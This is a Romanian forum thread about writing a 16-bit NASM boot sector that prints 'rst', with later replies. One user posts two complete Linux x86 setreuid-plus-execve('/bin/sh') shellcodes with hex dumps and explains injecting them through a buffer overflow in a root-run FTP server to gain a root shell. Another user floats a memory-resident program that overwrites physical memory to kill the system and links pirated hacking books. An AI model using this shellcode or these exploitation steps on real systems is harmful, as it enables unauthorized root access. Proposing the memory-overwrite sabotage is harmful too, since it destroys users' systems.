cp/m Posted December 29, 2009 Report Posted December 29, 2009 (edited) Ce va face? Va afisa 'rst' pe ecran.Ce programe sunt necesare? -nasm link: The Netwide Assembler: NASM -editor de texte -optional virtual pc sau virtualbox1. Porneste notepad sau ce program folosesti si scrie:[BITS 16][ORG 7C00h]mov ah,0ehmov al,'r'int 10hmov al,'s'int 10hmov al,'t'int 10hjmp $times 510-($-$$) db 0dw 0xAA55Sa luam codul linie cu linie:[bITS 16] => aici zicem pe cati biti va fi programul, in general 16, 32 sau 64.[ORG 7C00h] => adresa la care se va incarca in memorie, bootloadere se incarca la 7c00, .com la 100h si .exe non PE la 200h...Ce inseamna "int 10h"? Interrupt-ul 10h sau 0x10 este unul din int-urile de BIOS. Le puteti vedea deocamdata ca niste functii predefinite. De exemplu daca in registrul "ah" este valoarea 0Eh si in "al" codul ascii, si scriem int 10h, va aparea simbolul din al pe ecran. Pentru o lista cu int-uri puteti sa va uitati aici: 8086 bios and dos interrupts (IBM PC)Ce inseamna "jmp $"? Un loop infinit. Asemanator codului C a while(1==1){} sau for({} Dar "times 510-($-$$) db 0"? Bootloadere-le TREBUIE sa aiba fix 512 bytes pt ca sa fie boot-abile. Comanda asta adauga 0-uri pana cand ajunge la 510.Si "dw 0xAA55"? Asta trebuie sa fie la sfarsit pentru ca BIOS-ul sa ruleze programul.2. Considerand ca l-ai salvat ca si rst.asm, si este in acelasi director cu nasm.exe, intra in cmd si scrie "nasm rst.asm -o rst.bin"3. Insereaza un floppy in calculator si fiind in cmd scrie:C:\>debugDEBUG rst.bin - w 100 0 0 1 - q4. Da restart si booteazade pe floppy sau foloseste virtual pc/ virtualbox/ bochs/ qemu...In caz ca folosesti linux, ca sa scrii pe floppy scrie: "dd if=rst.bin bs=512 of=/dev/fd0"sau pt virtualizare poti si "dd if=rst.bin bs=512 of=rst.img".Sper ca v-a placut... Comentati! Edited December 29, 2009 by cp/m 1 Quote
Nytro Posted December 29, 2009 Report Posted December 29, 2009 Daca as sti ASM ti-as pune intrebari, dar nu stim si nu am ce zice. http://www.organicdesign.co.nz/Writing_a_boot_loader_in_assembler Quote
begood Posted December 29, 2009 Report Posted December 29, 2009 cp/m, sa nu fii dezamagit daca nu gasesti aici, sau in ro, oameni pasionati de ASM. Cauta international, sigur gasesti, si tine minte : e cel mai greu, de asta nu invata decat foarte putini. Oameni ca tine se vor cauta tot timpul, iar sa cunosti un limbaj low level conteaza foarte mult mai ales la optimizari pe procesoare, tu vei putea intelege usor electronica, daca nu cumva deja te pasioneaza. Odata ce intelegi electronica, si poti lega ceva "practic" de un soft, esti un God, nimic nu iti mai sta in cale sa evoluezi in ce directie te doare pe tine.Continua in domeniul asta, sigur nu vei fi dezamagit.cheers! Quote
cp/m Posted December 29, 2009 Author Report Posted December 29, 2009 (edited) Multumesc mult! Vreti sa mai adaug niste bootloadere? Ceva grafica maybe, sau o mica consola? Edited September 3, 2012 by cp/m Quote
begood Posted December 29, 2009 Report Posted December 29, 2009 why not ? poate intr-o zi va folosi cuiva cu ocazia asta exersezi Quote
gabiz_ro Posted February 24, 2010 Report Posted February 24, 2010 Poate ma ajuti putin pe mine cu ceva explicatii si indrumari,daca ai rabdare.Nu ca sunt incepator,sunt chiar necunoscator.Ce vreau sa fac:La un laptop cu ICH7 ce suporta SATA,are hdd sata dar merge pe compatibil mode (din bios nu se poate face nimic,nici vorba de updateuri de la Dell) vreau sa schimb modul de lucru prin modificarea registrilor PCI sa inserez codul pentru asa ceva intr-un PCI option rom in bios.Am tot citit si urmarit dar unele lucruri nu prea le-am inteles cred.Pana aici nu stiu daca e relevant ceea ce am spus.Controlerul din chipset se schimba in functie de valoarea byte de la offsetul 90.La mine acea valoare e 02 si pentru a trece in sata-ahci mode ar trebui sa fie 40.Acum nu stiu cum se scrie asta,am inteles ca se poate scrie ca byte sau ca word.Ca byte nu am reusit sa fac nimic asa ca am incercat sa scriu ca word valoare respectiva.Oarecum am reusit dar nu in totalitate.De la offsetul 90 la 93 (de fapt e 93:92:91:90 ) am urmatorul word00150002 asta e valoarea initiala programata de bios.Am folosit pentru a o rescrie asta mov eax,08000fa90h mov ebx,010150040h mov dx,0CF8h out dx,eax mov dx,0CFCh in eax,dx and eax,0FFFFFFFFh or eax,ebx out dx,eax probabil din cauza ca am folosit " and eax,0FFFFFFFFh " rezultatul e 10150042 in loc de 10150040 cat am scris eu , de scris a scris pentru ca fara acel rom in bios am00150002 Daca incerc cum poate ar trebui " and eax,00FFFFF00h atunci dupa prima imagine cu biosul laptopul ramane blocat cu un cursor in partea stanga sus ce clipeste.Orice sfat informatie e binevenita.Raspunsuri cu invata asm ... am mai primit,dar probabil o sa treaca mult timp pana o sa reusesc de unul singur.Acest lucru este posibil,sa activezi sata chiar daca biosul nu o face.In mare sunt 2 variante:Un MBR cu un patch ce face el asta (scrie 40 la offsetul 90) din pacate la Dell nu merge (l-am probat) probabil trebuie facute mai multe modificari in PCI space sau in linux printr-un patch si recompilare a ... unul modul presupun pci.c ce face modificarile necesare in functie de device id ,asta ar merge (e raportat ca functional si pe Dell cu acelasi hardware ca al meu) Quote
Krisler12 Posted February 24, 2010 Report Posted February 24, 2010 1. Imi place tutorialul.2. Grad de dificultate de la 1 (minim) la 10 (maxim): cam 5-6.3. Ce nu imi place: vii cu un cod care putea fi scris si in chineza si ziceai ptr. fiecare simbol din chineza exact lucrurile astea ca nu avea sa te contreazica nimeni. Ce ? Are cineva ceva de comentat ? Poate ai gresit undeva , stie cineva ? Asa la prima vedere pare furomos ca ne-ai explicat acolo un cod dar cu ce ramanem de pe urma tutorialului ?Cui va folosi chestia asta ? R: Nimanui ! Dar ce e cel mai important si nu ai facut este urmatorul lucru:Poate cineva sa mai creeze un program la fel ? R: NU !Rezulta de aici ca acel lucru important pe care trebuia sa il faci si nu l-ai facut este asta:Trebuia sa faci un basic al limbajului asm ca sa nu ne uitam ca matza in calendar aicea ca sa nu ne ramane decat sa dam din cap si sa trecem mai departe.Prin basic trebuia sa explici fazele cu adresele si int, ce inseamna mov, sub, ce e eax, eip ce sunt toate chestiile astea, cum se face o bucla [exact basicul de la un limbaj de programare obisnuit] si apoi vii cu exemple de programele scurte in asm ca sa ne alegem si noi cu ceva de pe urma la tutorialul tau.ASTA ESTE UN SFAT DESPRE CE SI CUM SA FIE URAMTORUL TUTORIAL ! NU SUNT NERVOS SI NICI NU AM NIMIC CU TINE DAR AI VRUT "PARERI" ! Quote
prodil89 Posted February 24, 2010 Report Posted February 24, 2010 @krisler12 Asta nu e tutorial ASM citeste dreq titlul....fa tu unul mai bun.... Quote
gabiz_ro Posted March 1, 2010 Report Posted March 1, 2010 Chiar ma gandeam daca sa mai dau un replay pe acest thread.E plin internetul de astfel de "tutoriale" chiar si in limba romana,tot ce difera sunt cele trei caractere ce le trimite catre display prin int 10.Asa si 0xAA55 nu trebuie sa fie la sfarsit ci la inceput.Dar asa traduce gogu,cu unele greseli si functia c/p le propaga. Quote
temp Posted March 1, 2010 Report Posted March 1, 2010 Chiar ma gandeam daca sa mai dau un replay pe acest thread.E plin internetul de astfel de "tutoriale" chiar si in limba romana,tot ce difera sunt cele trei caractere ce le trimite catre display prin int 10.Asa si 0xAA55 nu trebuie sa fie la sfarsit ci la inceput.Dar asa traduce gogu,cu unele greseli si functia c/p le propaga.make this guy king ... Quote
prodil89 Posted March 1, 2010 Report Posted March 1, 2010 Make this guys a happy "martisor"....you know what i mean Quote
Alexander33 Posted March 6, 2010 Report Posted March 6, 2010 eu sunt un necunascator si am si eu o intrebare:CE face acest prgram pe care l-ai scirs ? Quote
phantomas90 Posted May 4, 2010 Report Posted May 4, 2010 dak doriti am o carte de ASM de 1600 de pagini...e foarte buna....de la operatii de transformare in binar,octal hexazecimal pana la interfete si TSR(Terminate and Stay Resident)(ceva bun pt un virus).dak vrea cnv fac upload! Quote
phantomas90 Posted May 4, 2010 Report Posted May 4, 2010 CP/M ce n-am inteles eu din acest asm(nu codu postat de tine) e chestia cu incarcarea in memorie.Cum pot sa vad zonele ocupate de alte procese (alea de la 0 la 65535) pt k m-ar ajuta.Memoria fizica--acolo vreau sa ajung...k sa fac overwrite peste alte programe care ruleaza... Quote
Necrolyte Posted May 4, 2010 Report Posted May 4, 2010 dak doriti am o carte de ASM de 1600 de pagini...e foarte buna....de la operatii de transformare in binar,octal hexazecimal pana la interfete si TSR(Terminate and Stay Resident)(ceva bun pt un virus).dak vrea cnv fac upload!Fa upload pe undeva s-o studiez Quote
phantomas90 Posted May 4, 2010 Report Posted May 4, 2010 (edited) pentru Necrolyte:RapidShare: 1-CLICK Web hosting - Easy FilehostingMD5: 0FB26D6EAF252D1E1A1A9EF376A8A35Fcartea de ASM de care am zis.Mai am daca vrea cineva urm carti:Advanced BGP and Troubleshooting.pdfArt of Assembly.pdfCapitolul_5_-_Criptografie.pdf[Curs Java]docs328c.htmlGoogle Hacking for Penetration Testers.pdfHack The Stack - Using Snort And Ethereal To Master The 8 Layers Of An Insecure Network (2006).pdfHacking Wireless Networks for Dummies.pdfHome Networking 3rd Ed For Dummies.pdfjavabd.pdf[Limbaj de asamblare]maiAm.txtmetasploit users guide.pdfNmap 5.21.pdfNSA - The 60 Minute Network Security Guide.pdfO'Reilly - SSH, The Secure Shell - The Definitive Guide.pdforeilly_security_warrior.chmOutdoor_IEEE_802.11_Testbed.pdfProfessor_Messer-Secrets_of_Network_Cartography-2nd_Edition_Excerpt.pdfReversing Secrets of Reverse Engineering .pdfRootkits - Subverting the Windows Kernel.chmstealing-the-network-how-to-own-the-box-2003.pdfThe Shellcoder's Handbook - Discovering And Exploiting Security Holes.chm Pentru CP/M :mov ah,0ehmov al,'r'int 10hmov al,'s'int 10hmov al,'t'int 10hjmp $dw 0xAA55Am testat codu asta cu un emulator de 8086.Intr-adevar scrie rst pe ecran dar primele 2 linii si penultima din codu tau nu le recunoaste k instructiuni...poate k nu l-am testat in caz de boot cum ai zis tu k tre sa-l pui pe discheta.Dar nici k instructiuni separate nu le recunoaste liniile alea.Testat cu: 8086 Microprocessor Emulator file version:4.0.0.8Ca o idee vezi cum se poate scrie dupa ce se termina secventa de inchidere a windowsu-lui si scrii un program TSR care sa tina ocupata memoria fizica de la 0000x0000unde se scriu fisierele de boot ale sistemului de operare....si sistemul e mortNuma scrierea sa se faca la 0000x0000 adresa fizica....adica cumva trebuie distrus procesul de Mapare a memoriei(proces prin care se asigura un deplasament fata de adresa la care vrei sa scrii k sa nu se suprascrie programele)...Am pus mai sus un link cu o carte de ASM in care este explicat TSR-ul...compilarea ASM-ului eu o fac cu Turbo Pascal 7.0 pt k iti da voie sa scrii cod asm in codul programului.Ma apuc si eu de azi sa studiez mai aprofundat asm-u...mult succes!Se pare ca dupa aceste posturi voi fi banned.Post dublu,offtopic,asta este, Edited May 4, 2010 by phantomas90 Am citit regulile forumului Quote
chicco_10 Posted May 10, 2010 Report Posted May 10, 2010 (edited) Ce va face? Va afisa 'rst' pe ecran.Ce programe sunt necesare? -nasm link: The Netwide Assembler: NASM -editor de texte -optional virtual pc sau virtualbox1. Porneste notepad sau ce program folosesti si scrie:[BITS 16][ORG 7C00h]mov ah,0ehmov al,'r'int 10hmov al,'s'int 10hmov al,'t'int 10hjmp $times 510-($-$$) db 0dw 0xAA55Sa luam codul linie cu linie:[bITS 16] => aici zicem pe cati biti va fi programul, in general 16, 32 sau 64.[ORG 7C00h] => adresa la care se va incarca in memorie, bootloadere se incarca la 7c00, .com la 100h si .exe non PE la 200h...Ce inseamna "int 10h"? Interrupt-ul 10h sau 0x10 este unul din int-urile de BIOS. Le puteti vedea deocamdata ca niste functii predefinite. De exemplu daca in registrul "ah" este valoarea 0Eh si in "al" codul ascii, si scriem int 10h, va aparea simbolul din al pe ecran. Pentru o lista cu int-uri puteti sa va uitati aici: 8086 bios and dos interrupts (IBM PC)Ce inseamna "jmp $"? Un loop infinit. Asemanator codului C a while(1==1){} sau for({} Dar "times 510-($-$$) db 0"? Bootloadere-le TREBUIE sa aiba fix 512 bytes pt ca sa fie boot-abile. Comanda asta adauga 0-uri pana cand ajunge la 510.Si "dw 0xAA55"? Asta trebuie sa fie la sfarsit pentru ca BIOS-ul sa ruleze programul.2. Considerand ca l-ai salvat ca si rst.asm, si este in acelasi director cu nasm.exe, intra in cmd si scrie "nasm rst.asm -o rst.bin"3. Insereaza un floppy in calculator si fiind in cmd scrie:C:\>debugDEBUG rst.bin - w 100 0 0 1 - q4. Da restart si booteazade pe floppy sau foloseste virtual pc/ virtualbox/ bochs/ qemu...In caz ca folosesti linux, ca sa scrii pe floppy scrie: "dd if=rst.bin bs=512 of=/dev/fd0"sau pt virtualizare poti si "dd if=rst.bin bs=512 of=rst.img".Sper ca v-a placut... Comentati!da...foarte bine..acum vine o alta intrebare, eu sunt pasionat PSP.Daca iti dau toate datele necesare despre psp, ai putea face un bootloader?Si te rog uploadeaza toate cartile care le ai, ca vreau si eu sa am ceva cu care sa imi omor timpul invatand...MULTUMESC Edited May 10, 2010 by chicco_10 Quote
pyth0n3 Posted May 10, 2010 Report Posted May 10, 2010 Nu ar fii bine sa continui cu un tutorial simplu ca sa inteleaga toti de exemplu cum funcrioneaza registri ? CPU registersCel putin pe mine ma intereseaza asm pt procesoarele intel x86 in Linux C0de 32 bit care genereaza o shell , poate fii introdus in orice exploit , In cazul unei vulnerabilitati de buffer overflow ,sau chiar oricare alta poate fi rescrisa adressa de intoarcere cu acest code care va intoarce in acest caz o shell sh; setreuid(uid_t ruit, uid_id xor eax, eax ; First eax must be 0 for the next instruction mov al, 70 ; Put 70 into eax, since setreuid is syscall #70 xor ebx, ebx ; Put 0 into ebx, to set the real uid to root xor ecx, ecx ; Put 0 into ecx, to set the effective uid to root int 0x80 ; Call the kernel to make the system call happen jmp short two ; jump down to the bottom to get the address of "/bin/sh" one: pop ebx ; pop the "return address" from the stack ; to put the address of the string into ebx ; execve(const char *filename, char *const argv [], char *const envp[]) xor eax, eax ; Clear eax mov [ebx+7], al ; Put the 0 from eax after the "/bin/sh" mov [ebx+8], ebx ; Put the address of the string from ebx here mov [ebx+12], eax ; Put null here mov al, 11 ; execve is syscall #11 lea ecx, [ebx+8] ; Load the address that points to /bin/sh lea edx, [ebx+12] ; Load the address where we put null int 0x80 ; Call the kernel to make the system call happen two: call one ; Use a call to get back to the top to get this; addressdb '/bin/sh'Important este ca codul sa fie curat fara byte null deoacere executia se va opri la primul byte null de exemplu 00Acest lucru poate fi controlat cu orice fel de editor hex Pt a asembla codul se poate folosi nasm Salvati codul intrun file cu extensie .nasm dupa care dati urmatorul commandnasm shell.asmCu un editor hex se controleaza sa nu existe vreun byte null hexedit shell Output00000000 66 31 C0 B0 46 66 31 DB 66 31 C9 CD 80 EB 21 66 f1..Ff1.f1....!f00000010 5B 66 31 C0 67 88 43 07 67 66 89 5B 08 67 66 89 [f1.g.C.gf.[.gf.00000020 43 0C B0 0B 67 66 8D 4B 08 67 66 8D 53 0C CD 80 C...gf.K.gf.S...00000030 E8 DC FF 2F 62 69 6E 2F 73 68 .../bin/shsa vedem cat e de lung acest code wc -c shellOutput:58 shellDeci e di 58 byteDupa cum se observa este un code curat fare null byte Important este ca acest shellcode sa se execute fara sa fie intrerupt deoarece daca exista un byte null nu va fi executat si probabil va da o erroare de segmentation fault iar programul vulnerabil va merge in crash Exista shell coduri mai mici care fac acelasi lucru BITS 32; setreuid(uid_t ruid, uid_t euid) push byte 70 ; push the byte value 70 to the stack pop eax ; pop the 4-byte word 70 from the stack xor ebx, ebx ; put 0 into ebx, to set real uid to root xor ecx, ecx ; put 0 into ecx, to set effective uid to root int 0x80 ; Call the kernel to make the system call happen; execve(const char *filename, char *const argv [], char *const envp[]) push ecx ; push 4 bytes of null from ecx to the stack push 0x68732f2f ; push "//sh" to the stack push 0x6e69622f ; push "/bin" to the stack mov ebx, esp ; put the address of "/bin//sh" to ebx, via esp push ecx ; push 4 bytes of null from ecx to the stack push ebx ; push ebx to the stack mov ecx, esp ; put the address of ebx to ecx, via esp cdq ; put 0 into edx using the signed bit from eax mov al, 11 ; put 11 into eax, since execve() is syscall #11 int 0x80 ; call the kernel to make the syscall happenPt a asembla codul se poate folosi nasm nasm smallcode.asmhexedit smallcodeOutput 00000000 6A 46 58 31 DB 31 C9 CD 80 51 68 2F 2F 73 68 68 jFX1.1...Qh//shh00000010 2F 62 69 6E 89 E3 51 53 89 E1 99 B0 0B CD 80 /bin..QS.......Acest code face acelasi lucru doar ca este mai mic wc -c smallcodeoutput:31 smallcodeDupa cum vedeti e numai de 31 byte Face acelasi lucru ca si primul code doar ca e mai mic aproape jumatate Quote
chicco_10 Posted May 11, 2010 Report Posted May 11, 2010 - nu mai dati quote la texte mari.si tie ti se pare tutorialul tau simplu?? eu am ramas sa ma uit ca matza in calendar cand am vazut ce ai scris acolo...daca tot vreti sa faceti tutorialele, spuneti si voi ce tot inseamna prescurtarile alea...din toate prescurtarile de abia daca stiu si eu ce inseamna JNE, JMP si JE.... Quote
begood Posted May 11, 2010 Report Posted May 11, 2010 evident nu ti se adreseaza tie tutorialul. Quote
pyth0n3 Posted May 11, 2010 Report Posted May 11, 2010 (edited) Nu mi se pare chiar atat de simplu , vroiam doar sa arat un simplu shellcode care poate fi introdus in orice fel de exploit vreti sa scrieti .Deci daca vreti sa exploatati un program sau ma rog orice fel de tool , daca aveti codul sorgent esta mai bine , treceti la debugging dupa care trebuie cautat o erroare care poate genera un buffer overflow , in acest caz scrieti un script chiar in perl care va introduce acest shell code folosind functia "print " in momentul cand acel program va avea acea erroare deci in loc sa mearga in crash daca ii puneti acest code va va da o shell shDe obicei cand un program are o erroare merge in crash pt ca nu are alta posibilitate ,daca cineva ii va introduce un shellcode , in loc sa mearga in crash va executa acel shellcode, in acest caz exemplele de mai sus creaza o shell deci veti avea o shell in care puteti executa orice fel de comenzi vretiDe exemplu exista un server ftp care vine folosit de root si are o erroare de buffer overflow , in acest caz scrieti un script in perl care sa introduca un shellcode .Serverul ftp nu va merge in crash dar va va da o shell de root pt ca in acest caz serverul este folosit de catre root Intradevar sunt multe lucruri de invatat , pt ca acest code functioneaza doar pt procesoarele Intel si Amd x86 si doar in Linux Pt fiecare procesor trebuie scris in mod divers Ar trebui multe tutoriale sau mai bine zis carti care sa explice mai cu amanunte cum functioneaza un procesor si registrii din elBineinteles daca cineva cunoaste bine aceste lucruri il rog sa scrie un tutorial , voi incerca si eu sa scriu ceva pe viitor pt a explica anumite lucruri .Doar ceea ce stiu si eu pana in prezent Daca vrea cineva sa scrie un tutorial care sa explice cum functioneaza registri unui CPU in mod clar si simplu il rog sa o facaDoar asa se pot intelege mai multe lucruri Daca ati observat codul fiecare stringa vine comentata De exemplu comandul mov nu face altceva decat sa puna niste date in registri EAX ,EBX, ECX Aceste date sunt niste syscall de exemplu in linux pt a vedea care sunt syscall puteti da urmatorul comand cat /usr/include/asm/unistd_32.hIn caz ca aveti un OS 64 bitcat /usr/include/asm/unistd_64.hDaca nu incercati cat /usr/include/asm/unistd.hDeci importan este sa se inteleaga ce inseamna registri unui cpu CPU registersFicare code poate fi scris doar pt un sistem in parte , exemplele de mai sus nu vor functiona pe procesoare SPARC sau in windows de exemplu ,si nici nu vor functiona intrun sistem linux 64 bit Edited May 11, 2010 by pyth0n3 Quote
Fitty Posted May 11, 2010 Report Posted May 11, 2010 Fratilor, n-aveti cum sa intelegeti daca nu stiti Assembly, de ce acuzati omul ca face tutoriale grele? Quote
phantomas90 Posted May 21, 2010 Report Posted May 21, 2010 http://www.download3000.com/download-emu8086-count-reg-952.htmlAcesta este un emulator 8086 cu tot cu debugger.Aici puteti scrie codurile voastre..Are si hex si editor+ cateva exmple de coduri asm. Quote
Xander Posted May 22, 2010 Report Posted May 22, 2010 cine vrea sa invete asm fara prea mari greutati aveti visual c++....exemplu minimal:int main(){int x=2;_asm{mov EAX,x;mutam x in EAXINC EAX; incrementam eax cu 1MOV x,EAX; mutam EAX in x}std::cout<<x;}P.S.: vreti sa incerc eu sa fac un tutorial de ASM (un ASM 101 ?) mai stiu cat de cat din primu semestru la facultate cand am facut la Arhitectura Sistemelor de calcul Quote